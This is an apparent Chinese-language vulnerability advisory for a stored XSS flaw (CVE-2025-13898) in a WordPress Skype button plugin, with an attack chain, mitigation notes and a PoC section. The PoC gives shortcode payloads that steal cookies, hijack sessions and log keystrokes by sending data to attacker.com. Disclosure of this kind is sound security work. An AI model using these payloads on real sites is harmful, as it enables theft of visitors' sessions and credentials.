IPBUF安全漏洞报告
English
CVE-2025-13898 CVSS 6.4 中危

CVE-2025-13898 WordPress Ultra Skype Button插件存储型XSS漏洞

披露日期: 2025-12-06

漏洞信息

漏洞编号
CVE-2025-13898
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Ultra Skype Button plugin for WordPress

相关标签

存储型XSSWordPress插件短代码注入Ultra Skype ButtonCVE-2025-13898跨站脚本攻击认证用户攻击

漏洞概述

CVE-2025-13898是WordPress Ultra Skype Button插件中的一个存储型跨站脚本(XSS)漏洞。该插件是一款用于在WordPress网站上添加Skype按钮的实用工具。漏洞源于插件在处理短代码[ultra_skype]中的'btn_id'参数时,未对用户输入进行充分的输入清理和输出转义。攻击者只需要拥有WordPress网站的Contributor级别或更高权限,即可利用此漏洞在受影响的页面中注入任意JavaScript脚本。由于是存储型XSS,恶意脚本会被永久保存在服务器端,所有访问含恶意代码页面的用户都会触发该脚本,可能导致会话劫持、凭据窃取、重定向攻击等严重后果。

技术细节

漏洞存在于ultra-skype-button插件的index.php文件中,具体位于处理短代码属性的第39行和第44行附近。当用户通过[ultra_skype]短代码的btn_id参数提交数据时,插件直接将用户输入的值嵌入到HTML输出中,未进行任何sanitization或escape处理。攻击者可以通过以下方式利用:1) 创建或编辑文章/页面;2) 插入带有恶意payload的[ultra_skype btn_id='" onmouseover="alert(1)"']短代码;3) 保存并发布内容。由于输入未经过滤,恶意JavaScript代码会被存储在数据库中,当其他用户访问该页面时,浏览器会执行这些脚本。攻击者可窃取cookie、劫持会话或进行钓鱼攻击。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站的Contributor或更高权限账户
STEP 2
步骤2
攻击者创建或编辑文章/页面,插入带有恶意payload的[ultra_skype]短代码
STEP 3
步骤3
攻击者保存并发布包含恶意脚本的内容,payload被存储在数据库中
STEP 4
步骤4
当其他用户访问含有恶意代码的页面时,浏览器执行注入的JavaScript脚本
STEP 5
步骤5
攻击者通过XSS漏洞窃取用户会话cookie、凭据或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- WordPress Ultra Skype Button - Stored XSS PoC --> <!-- Requires Contributor-level access or higher --> <!-- Basic XSS Payload --> [ultra_skype btn_id='" onmouseover="alert(document.cookie)" style="background:red"'] <!-- Steal Cookies PoC --> [ultra_skype btn_id='"><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] <!-- Session Hijacking PoC --> [ultra_skype btn_id='"><img src=x onerror="fetch('https://attacker.com/log?data='+btoa(document.cookie))">'] <!-- Keylogger Payload --> [ultra_skype btn_id='"><script>document.onkeypress=function(e){fetch('https://attacker.com/k?k='+e.key)}</script>'] <!-- Remediation: Update to latest version of the plugin -->

影响范围

Ultra Skype Button plugin for WordPress <= 1.0

防御指南

临时缓解措施
如果无法立即升级插件,可在functions.php中添加临时过滤器清理短代码参数,或使用Web应用防火墙(WAF)规则阻止恶意请求。同时建议审查所有已发布内容,移除可疑的短代码使用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表